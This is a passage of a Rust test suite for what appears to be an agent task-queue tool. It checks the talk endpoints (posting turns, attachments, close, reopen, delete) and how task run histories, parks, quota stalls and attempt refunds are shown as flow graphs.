15016
15017 #[tokio::test]
15018 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15019 let f = Fixture::start().await;
15020 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15021
15022 let uploaded = f
15023 .post_bytes(
15024 &format!("/api/talks/{id}/attachments"),
15025 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15026 PNG_BYTES,
15027 )
15028 .await;
15029 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15030 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15031
15032 let res = f
15033 .post(
15034 &format!("/api/talks/{id}/say"),
15035 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15036 )
15037 .await;
15038 assert_eq!(res.status, 202, "{}", res.body);
15039 let queued = res.json();
15040 let turns = queued["turns"].as_array().expect("turns array");
15041 assert_eq!(
15042 turns.len(),
15043 1,
15044 "an empty body with an attachment is still a turn: {queued}"
15045 );
15046 assert_eq!(turns[0]["who"], "operator");
15047 assert_eq!(turns[0]["body"], "");
15048 let atts = turns[0]["attachments"]
15049 .as_array()
15050 .expect("attachments array");
15051 assert_eq!(atts.len(), 1);
15052 assert_eq!(atts[0]["id"], att_id);
15053 assert_eq!(atts[0]["mime"], "image/png");
15054
15055 let on_disk = f.talks().get(&id).expect("get");
15058 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15059 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15060 }
15061
15062 #[tokio::test]
15063 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15064 let f = Fixture::start().await;
15065 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15066
15067 let res = f
15068 .post(
15069 &format!("/api/talks/{id}/say"),
15070 Some(&format!(
15071 r#"{{"text":"hi","attachments":["{}"]}}"#,
15072 "a".repeat(32)
15073 )),
15074 )
15075 .await;
15076 assert!((400..500).contains(&res.status), "{}", res.body);
15077 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15078
15079 let on_disk = f.talks().get(&id).expect("get");
15080 assert!(
15081 on_disk.turns.is_empty(),
15082 "a rejected attachment id must not partially record the turn: {:?}",
15083 on_disk.turns
15084 );
15085 }
15086
15087 #[tokio::test]
15088 async fn talk_close_makes_the_talk_refuse_further_turns() {
15089 let f = Fixture::start().await;
15090 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15091
15092 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15093 assert_eq!(closed.status, 200, "{}", closed.body);
15094 assert_eq!(closed.json()["status"], "closed");
15095
15096 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15098 assert_eq!(closed_again.status, 200);
15099 assert_eq!(closed_again.json()["status"], "closed");
15100
15101 let said = f
15102 .post(
15103 &format!("/api/talks/{id}/say"),
15104 Some(r#"{"text":"too late"}"#),
15105 )
15106 .await;
15107 assert_eq!(said.status, 409, "{}", said.body);
15108 }
15109
15110 #[tokio::test]
15111 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15112 let (_tmp, _repo, f) = talk_fixture().await;
15113 let id = f.post("/api/talks", None).await.json()["id"]
15114 .as_str()
15115 .expect("id")
15116 .to_owned();
15117 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15118 assert_eq!(closed.status, 200, "{}", closed.body);
15119
15120 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15121 assert_eq!(reopened.status, 200, "{}", reopened.body);
15122 assert_eq!(reopened.json()["status"], "open");
15123
15124 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15126 assert_eq!(reopened_again.status, 200);
15127 assert_eq!(reopened_again.json()["status"], "open");
15128
15129 let said = f
15130 .post(
15131 &format!("/api/talks/{id}/say"),
15132 Some(r#"{"text":"still there?"}"#),
15133 )
15134 .await;
15135 assert_eq!(
15136 said.status, 202,
15137 "a reopened talk accepts turns again: {}",
15138 said.body
15139 );
15140 }
15141
15142 #[tokio::test]
15143 async fn talk_reopen_on_an_unknown_id_is_404() {
15144 let f = Fixture::start().await;
15145 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15146 assert_eq!(res.status, 404, "{}", res.body);
15147 }
15148
15149 #[tokio::test]
15150 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15151 let f = Fixture::start().await;
15152 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15153
15154 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15155 assert_eq!(deleted.status, 204, "{}", deleted.body);
15156
15157 let after = f.get(&format!("/api/talks/{id}")).await;
15158 assert_eq!(after.status, 404, "{}", after.body);
15159
15160 let listed = f.get("/api/talks").await.json();
15161 assert!(
15162 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15163 "a deleted talk must not linger in the list: {listed}"
15164 );
15165 }
15166
15167 #[tokio::test]
15168 async fn talk_delete_on_an_unknown_id_is_404() {
15169 let f = Fixture::start().await;
15170 let res = f.delete("/api/talks/nonexistent-id").await;
15171 assert_eq!(res.status, 404, "{}", res.body);
15172 }
15173
15174 #[tokio::test]
15178 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15179 let f = Fixture::start().await;
15180 let (a, b, gone) = (
15181 "20260902-140501-aaaa",
15182 "20260902-140502-bbbb",
15183 "20260902-140503-cccc",
15184 );
15185 write_run(&f.runs(), a, RunStatus::Stalled);
15186 let mut review = RunState::new(
15187 PathBuf::from("/repo/magi"),
15188 "main".to_owned(),
15189 "0123456789abcdef".to_owned(),
15190 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15191 .to_owned(),
15192 Config::default(),
15193 );
15194 review.id = b.to_owned();
15195 review.status = RunStatus::Merged;
15196 write_state(&f.runs(), &review);
15197
15198 let mut task = Task::new(
15199 "retry".to_owned(),
15200 "Do the thing".to_owned(),
15201 PathBuf::from("/repo/magi"),
15202 Source::Human,
15203 );
15204 task.start(a.to_owned());
15205 task.stall("quota");
15206 task.start(a.to_owned());
15207 task.start(b.to_owned());
15208 task.start(gone.to_owned());
15209 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15211 f.queue().put(&mut task).expect("file the task");
15212
15213 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15214 assert_eq!(res.status, 200, "{}", res.body);
15215 let v = res.json();
15216 let h = v["history"].as_array().expect("history");
15217 assert_eq!(h.len(), 4, "{v}");
15218 assert_eq!(h[0]["kind"], "competition");
15219 assert_eq!(h[0]["status"], "stalled");
15220 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15221 assert_eq!(h[1]["kind"], "resume", "{v}");
15222 assert!(
15223 h[0]["outcome"]
15224 .as_str()
15225 .unwrap()
15226 .contains("unknown. Pass #2"),
15227 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15228 );
15229 assert!(
15230 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15231 "{v}"
15232 );
15233 assert!(
15234 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15235 "an unrecorded cause must not be narrated as an operator park: {v}"
15236 );
15237 assert_eq!(h[2]["kind"], "review");
15238 assert!(
15239 h[2]["description"]
15240 .as_str()
15241 .unwrap()
15242 .contains("magi/aaaa/A")
15243 );
15244 assert_eq!(h[2]["status"], "merged");
15245 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15246 assert_eq!(v["runs_unreadable"], 1);
15247 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15248 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15249 assert_eq!(nodes[4]["note"], "unreadable");
15250 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15251 assert_eq!(v["instruction"], "Do the thing");
15252 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15253
15254 let run = f.get(&format!("/api/runs/{a}")).await.json();
15256 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15257
15258 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15259 }
15260
15261 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15262 let mut s = RunState::new(
15263 PathBuf::from("/repo/magi"),
15264 "main".to_owned(),
15265 "0123456789abcdef".to_owned(),
15266 "Do it".to_owned(),
15267 Config::default(),
15268 );
15269 s.status = status;
15270 edit(&mut s);
15271 s
15272 }
15273
15274 fn flow_task(runs: &[&str]) -> Task {
15275 let mut t = Task::new(
15276 "t".to_owned(),
15277 "Do it".to_owned(),
15278 PathBuf::from("/repo/magi"),
15279 Source::Human,
15280 );
15281 for r in runs {
15282 t.start((*r).to_owned());
15283 }
15284 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15286 t
15287 }
15288
15289 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15290 let h = task_history(task, |id| {
15291 states
15292 .iter()
15293 .find(|(i, _)| *i == id)
15294 .and_then(|(_, s)| s.clone())
15295 });
15296 task_flow(task, &h, 5, None)
15297 }
15298
15299 #[test]
15300 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15301 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15302 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15303 let first = "2026-10-10T02:00:00Z".parse().unwrap();
15304 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15305 let held = "2026-10-10T04:00:00Z".parse().unwrap();
15306 let run = flow_run(RunStatus::Implementing, |s| {
15307 s.created_at = created;
15308 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15309 s.passes[0].started_at = first;
15310 s.passes[1].started_at = resumed;
15311 });
15312 let mut task = flow_task(&[RUN_X, RUN_X]);
15313 task.created_at = queued;
15314 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15315 task.status = TaskStatus::Held;
15316 task.held_at = Some(held);
15317 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15318 assert_eq!(
15319 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15320 vec![Some(queued), Some(first), Some(resumed), Some(held)]
15321 );
15322 assert!(flow.nodes.iter().all(|n| n.time_expected));
15323 let json = serde_json::to_value(&flow).unwrap();
15324 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15325 assert_eq!(json["nodes"][2]["time_expected"], true);
15326 }
15327
15328 #[test]
15329 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15330 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15331 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15332 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15333 task.held_at = Some(created);
15335 task.blocked_at = Some(created);
15336 for status in [
15337 TaskStatus::Queued,
15338 TaskStatus::Running,
15339 TaskStatus::Blocked,
15340 TaskStatus::Done,
15341 TaskStatus::Failed,
15342 TaskStatus::Parked,
15343 TaskStatus::Held,
15344 ] {
15345 task.status = status;
15346 if status == TaskStatus::Held {
15347 task.held_at = None;
15348 }
15349 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15350 assert_eq!(flow.nodes[1].started_at, Some(created));
15351 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15352 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15353 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15354 let json = serde_json::to_value(&flow).unwrap();
15355 assert!(json["nodes"][3]["started_at"].is_null());
15356 assert_eq!(json["nodes"][3]["time_expected"], true);
15357 }
15358 }
15359
15360 #[test]
15361 fn flow_context_links_do_not_expect_start_times() {
15362 let mut task = flow_task(&[]);
15363 task.source = Source::Agent {
15364 run: "chat-id".to_owned(),
15365 node: "chat".to_owned(),
15366 };
15367 let origin = followup_origin(&fu(None), |_| None, |_| None);
15368 let flow = task_flow(&task, &[], 5, Some(&origin));
15369 for node in &flow.nodes[..2] {
15370 assert!(!node.time_expected);
15371 assert_eq!(node.started_at, None);
15372 }
15373 assert!(flow.nodes[2].time_expected);
15374 }
15375
15376 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15377 crate::queue::FollowUp {
15378 run: "20260901-000000-aaaa".to_owned(),
15379 origin_task: origin_task.map(str::to_owned),
15380 pr: "https://example.com/o/r/pull/1".to_owned(),
15381 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15382 .map(str::to_owned)
15383 .to_vec(),
15384 generation: 1,
15385 }
15386 }
15387
15388 fn parent_task() -> Task {
15389 let mut p = flow_task(&[]);
15390 p.title = "Parent title".to_owned();
15391 p.status = TaskStatus::Done;
15392 p
15393 }
15394
15395 #[test]
15396 fn flow_opens_with_the_parent_task_of_a_followup() {
15397 let p = parent_task();
15398 let pid = p.id.clone();
15399 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15400 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15401 let n = &f.nodes[0];
15402 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15403 assert_eq!(
15404 n.label,
15405 format!("Follow-up of {}", crate::queue::short(&pid))
15406 );
15407 assert_eq!(n.detail.as_deref(), Some("Parent title"));
15408 assert_eq!(n.status, Some("done"));
15409 assert_eq!(n.status_of, "task");
15410 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15411 assert_eq!(f.nodes[1].key, "start");
15412 assert_eq!(f.edges[0].from, "origin");
15413 assert_eq!(
15414 f.edges[0].label,
15415 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15416 );
15417 }
15418
15419 #[test]
15420 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15421 let o = followup_origin(
15422 &fu(Some("gone")),
15423 |_| None,
15424 |_| {
15425 Some(RunState::new(
15426 std::path::PathBuf::from("."),
15427 "main".to_owned(),
15428 "0".to_owned(),
15429 "t".to_owned(),
15430 crate::config::Config::default(),
15431 ))
15432 },
15433 );
15434 assert!(o.parent.is_none());
15435 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15436 let n = &f.nodes[0];
15437 assert_eq!(n.status_of, "run");
15438 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15439 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15440 }
15441
15442 #[test]
15443 fn flow_followup_with_nothing_readable_has_no_link() {
15444 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15445 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15446 let n = &f.nodes[0];
15447 assert_eq!(n.href, None);
15448 assert_eq!(n.note, Some("unreadable"));
15449 assert!(!n.readable);
15450 }
15451
15452 #[test]
15453 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15454 let o = followup_origin(&fu(None), |_| None, |_| None);
15455 let mut t = flow_task(&[]);
15456 t.origin_chat = Some("c1".to_owned());
15457 let f = task_flow(&t, &[], 5, Some(&o));
15458 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15459 t.source = Source::Agent {
15460 run: "c1".to_owned(),
15461 node: crate::queue::CHAT_NODE.to_owned(),
15462 };
15463 let f = task_flow(&t, &[], 5, Some(&o));
15464 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15465 assert_eq!(
15466 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15467 ("chat", "origin")
15468 );
15469 }
15470
15471 #[test]
15472 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15473 let mut p = parent_task();
15474 p.id = "a b/c".to_owned();
15475 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15476 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15477 }
15478
15479 #[test]
15480 fn flow_opens_with_the_chat_that_queued_the_task() {
15481 let mut t = flow_task(&[]);
15482 t.source = Source::Agent {
15483 run: "a b/c".to_owned(),
15484 node: crate::queue::CHAT_NODE.to_owned(),
15485 };
15486 let f = flow_for(&t, &[]);
15487 assert_eq!(f.nodes[0].key, "chat");
15488 assert_eq!(f.nodes[0].kind, "chat");
15489 assert_eq!(
15490 f.nodes[0].label,
15491 format!("Chat {}", crate::queue::short("a b/c"))
15492 );
15493 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15494 assert_eq!(f.nodes[1].key, "start");
15495 assert_eq!(
15496 f.edges[0],
15497 FlowEdge {
15498 from: "chat".to_owned(),
15499 to: "start".to_owned(),
15500 label: "queued from chat".to_owned(),
15501 attempt: AttemptCost::None,
15502 }
15503 );
15504 }
15505
15506 #[test]
15507 fn flow_has_no_chat_box_for_other_sources() {
15508 for source in [
15509 Source::Human,
15510 Source::Issue {
15511 number: 3,
15512 repo: "o/r".to_owned(),
15513 },
15514 Source::Agent {
15515 run: "20260904-014455-ab12".to_owned(),
15516 node: "implement".to_owned(),
15517 },
15518 ] {
15519 let mut t = flow_task(&[]);
15520 t.source = source;
15521 let f = flow_for(&t, &[]);
15522 assert_eq!(f.nodes[0].key, "start");
15523 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15524 assert!(f.edges.iter().all(|e| e.from != "chat"));
15525 }
15526 }
15527
15528 const FA: &str = "20260902-140501-aaaa";
15529 const FB: &str = "20260902-140502-bbbb";
15530
15531 #[test]
15532 fn flow_follows_blocked_retry_merged_to_done() {
15533 let mut t = flow_task(&[FA, FB]);
15534 t.status = TaskStatus::Done;
15535 let f = flow_for(
15536 &t,
15537 &[
15538 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15539 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15540 ],
15541 );
15542 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15543 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15544 assert_eq!(f.edges.len(), 3);
15545 assert_eq!(f.edges[0].label, "claimed");
15546 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15547 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15548 assert_eq!(f.edges[2].label, "merged \u{2192} done");
15549 assert_eq!(
15550 f.nodes[2].href.as_deref(),
15551 Some("#/runs/20260902-140502-bbbb")
15552 );
15553 assert!(f.nodes[2].decided);
15554 }
15555
15556 #[test]
15557 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15558 let quota = || {
15559 flow_run(RunStatus::Stalled, |s| {
15560 s.quota.push(crate::run::QuotaLoss {
15561 seat: "judge-1".to_owned(),
15562 node: "judge".to_owned(),
15563 at: Timestamp::now(),
15564 reset: None,
15565 })
15566 })
15567 };
15568 let mut t = flow_task(&[FA, FA]);
15569 t.status = TaskStatus::Queued;
15570 let f = flow_for(&t, &[(FA, Some(quota()))]);
15571 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15572 assert_eq!(f.nodes[1].note, Some("interrupted"));
15573 assert_eq!(
15574 f.nodes[1].status, None,
15575 "no outcome copied onto an earlier pass"
15576 );
15577 assert_eq!(
15578 f.edges[1].attempt,
15579 AttemptCost::Unknown,
15580 "a resume does not prove the earlier pass was refunded"
15581 );
15582 assert!(f.edges[1].label.contains("resume the same run"));
15583 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15584 assert_eq!(
15585 f.edges[2].label,
15586 "stalled after a resume, refund unknown \u{2192} queued"
15587 );
15588 assert!(!f.nodes[2].decided, "a stall is not a decision");
15589 assert_eq!(f.nodes[2].note, Some("no verdict"));
15590 }
15591
15592 #[test]
15593 fn flow_single_pass_quota_stall_is_refunded() {
15594 let t = flow_task(&[FA]);
15595 let f = flow_for(
15596 &t,
15597 &[(
15598 FA,
15599 Some(flow_run(RunStatus::Stalled, |s| {
15600 s.quota.push(crate::run::QuotaLoss {
15601 seat: "judge-1".to_owned(),
15602 node: "judge".to_owned(),
15603 at: Timestamp::now(),
15604 reset: None,
15605 })
15606 })),
15607 )],
15608 );
15609 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15610 }
15611
15612 #[test]
15613 fn flow_parked_refunds_and_stall_without_quota_spends() {
15614 let mut t = flow_task(&[FA]);
15615 t.status = TaskStatus::Queued;
15616 let f = flow_for(
15617 &t,
15618 &[(
15619 FA,
15620 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15621 )],
15622 );
15623 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15624 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15625 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15626 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15627 assert!(!f.nodes[1].decided);
15628 }
15629
15630 #[test]
15631 fn flow_keeps_an_unreadable_run_as_its_own_node() {
15632 let t = flow_task(&[FA, FB]);
15633 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15634 assert_eq!(f.nodes[1].note, Some("unreadable"));
15635 assert!(!f.nodes[1].readable);
15636 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15637 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15638 }
15639
15640 #[test]
15641 fn flow_names_the_branch_of_a_review_only_run() {
15642 let t = flow_task(&[FA]);
15643 let f = flow_for(
15644 &t,
15645 &[(
15646 FA,
15647 Some(flow_run(RunStatus::Merged, |s| {
15648 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15649 })),
15650 )],
15651 );
15652 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15653 assert_eq!(
15654 f.nodes[1].detail.as_deref(),
15655 Some("review-only run of branch magi/x/A")
15656 );
15657 }
15658
15659 #[test]
15660 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15661 let mut t = flow_task(&[FA]);
15662 t.status = TaskStatus::Held;
15663 let pr = crate::run::PrRecord {
15664 url: "https://example.test/pr/1".to_owned(),
15665 number: 1,
15666 state: "open".to_owned(),
15667 checks: "green".to_owned(),
15668 round: 0,
15669 rounds: 3,
15670 red_at_merge: Vec::new(),
15671 };
15672 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15673 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15674 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15675 t.status = TaskStatus::Done;
15676 let f = flow_for(&t, &[(FA, Some(blocked))]);
15677 assert_eq!(f.edges[1].label, "closed by hand: task is done");
15678 }
15679
15680 #[test]
15681 fn flow_with_no_runs_goes_from_queued_to_queued() {
15682 let t = flow_task(&[]);
15683 let f = flow_for(&t, &[]);
15684 assert_eq!(f.nodes.len(), 2);
15685 assert_eq!(f.edges.len(), 1);
15686 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15687 assert_eq!(f.edges[0].attempt, AttemptCost::None);
15688 }
15689
15690 #[test]
15693 fn a_parked_non_terminal_run_is_explained_as_parked() {
15694 let mut s = RunState::new(
15695 PathBuf::from("/repo/magi"),
15696 "main".to_owned(),
15697 "0123456789abcdef".to_owned(),
15698 "Do it".to_owned(),
15699 Config::default(),
15700 );
15701 s.status = RunStatus::Implementing;
15702 s.parked = true;
15703 let task = Task::new(
15704 "t".to_owned(),
15705 "Do it".to_owned(),
15706 PathBuf::from("/repo/magi"),
15707 Source::Human,
15708 );
15709 let v = task_run_view(
15710 "20260902-140501-aaaa",
15711 Some(&s),
15712 RunSlot {
15713 n: 1,
15714 resumed: false,
15715 resumed_later: None,
15716 prior: None,
15717 last: true,
15718 ..RunSlot::default()
15719 },
15720 &task,
15721 );
15722 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
15723 }
15724
15725 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
15726 let mut s = flow_run(RunStatus::Implementing, edit);
15727 s.parked = false;
15728 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
15729 task_run_view(
15730 "20260902-140501-aaaa",
15731 Some(&s),
15732 RunSlot {
15733 n: 1,
15734 resumed: false,
15735 resumed_later: Some(2),
15736 prior: None,
15737 last: false,
15738 ..RunSlot::default()
15739 },
15740 &task,
15741 )
15742 }
15743
15744 #[test]
15745 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
15746 let v = earlier_pass_view(|_| {});
15747 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
15748 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15749 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
15750 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
15751 assert_eq!(v.exit, RunExit::Interrupted);
15752 assert_eq!(v.attempt, AttemptCost::Unknown);
15753 }
15754
15755 #[test]
15756 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
15757 let v = earlier_pass_view(|s| {
15758 s.quota.push(crate::run::QuotaLoss {
15759 seat: "judge-1".to_owned(),
15760 node: "judge".to_owned(),
15761 at: Timestamp::now(),
15762 reset: None,
15763 });
15764 });
15765 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
15766 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15767 assert_eq!(v.attempt, AttemptCost::Unknown);
15768 }
15769
15770 #[test]
15771 fn the_current_pass_states_its_recorded_cause_and_cost() {
15772 let slot = || RunSlot {
15773 n: 1,
15774 resumed: false,
15775 resumed_later: None,
15776 prior: None,
15777 last: true,
15778 ..RunSlot::default()
15779 };
15780 let task = flow_task(&["20260902-140501-aaaa"]);
15781 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
15782 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
15783 assert_eq!(
15784 (v.exit, v.attempt),
15785 (RunExit::Parked, AttemptCost::Refunded)
15786 );
15787 let spent = flow_run(RunStatus::Blocked, |_| {});
15788 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
15789 assert_eq!(v.attempt, AttemptCost::Spent);
15790 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
15791 }
15792
15793 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
15794 crate::run::RunPass {
15795 index,
15796 started_at: Timestamp::now(),
15797 resumed: index > 0,
15798 ended_at: end.as_ref().map(|_| Timestamp::now()),
15799 end,
15800 task_entry: true,
15801 }
15802 }
15803
15804 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
15805 Some(crate::run::PassEnd::Parked { cause })
15806 }
15807
15808 fn upgrade_cause() -> crate::run::ParkCause {
15809 crate::run::ParkCause::Upgrade {
15810 from: "0.121.0".to_owned(),
15811 to: Some("0.121.1".to_owned()),
15812 }
15813 }
15814
15815 fn settled_pass(
15816 run: &str,
15817 index: usize,
15818 cost: crate::queue::PassCost,
15819 ) -> crate::queue::TaskPass {
15820 crate::queue::TaskPass {
15821 run: run.to_owned(),
15822 pass_index: index,
15823 cost,
15824 attempts_after: 1,
15825 settled_at: Timestamp::now(),
15826 parked: None,
15827 }
15828 }
15829
15830 const RUN_X: &str = "20261011-223708-4334";
15831
15832 #[test]
15833 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15834 use crate::queue::PassCost;
15835 let run = flow_run(RunStatus::Implementing, |s| {
15836 s.passes = vec![
15837 recorded_pass(0, parked(upgrade_cause())),
15838 recorded_pass(1, None),
15839 ];
15840 });
15841 let mut task = flow_task(&[RUN_X, RUN_X]);
15842 task.attempts = 1;
15843 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15844 let h = task_history(&task, |_| Some(run.clone()));
15845 assert_eq!(h.len(), 2);
15846 assert_eq!(h[0].kind, "competition");
15847 assert_eq!(h[1].kind, "resume");
15848 assert_eq!(
15849 (h[0].exit, h[0].attempt),
15850 (RunExit::Parked, AttemptCost::Refunded)
15851 );
15852 assert!(
15853 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15854 "{}",
15855 h[0].outcome
15856 );
15857 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15858 assert!(
15859 h[0].outcome.contains("pass #2 resumed the same run"),
15860 "{}",
15861 h[0].outcome
15862 );
15863 assert!(
15864 h[0].outcome.contains("pass 1 of 2 over run"),
15865 "{}",
15866 h[0].outcome
15867 );
15868 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15869 assert_eq!(
15870 h[0].exit_label,
15871 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15872 );
15873 let f = task_flow(&task, &h, 2, None);
15874 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15876 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15877 assert!(
15878 f.edges[1].label.contains("upgrade 0.121.0"),
15879 "{}",
15880 f.edges[1].label
15881 );
15882 assert!(
15883 f.edges[1].label.contains("resume the same run"),
15884 "{}",
15885 f.edges[1].label
15886 );
15887 assert_eq!(f.nodes[1].note, Some("parked"));
15888 }
15889
15890 #[test]
15891 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
15892 let mut a = flow_run(RunStatus::Implementing, |s| {
15893 s.passes = vec![
15894 recorded_pass(0, parked(upgrade_cause())),
15895 recorded_pass(1, None),
15896 ];
15897 });
15898 let mut b = flow_run(RunStatus::Failed, |s| {
15899 s.passes = vec![recorded_pass(0, None)];
15900 });
15901 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
15902 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
15903 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
15904 let mut task = flow_task(&[]);
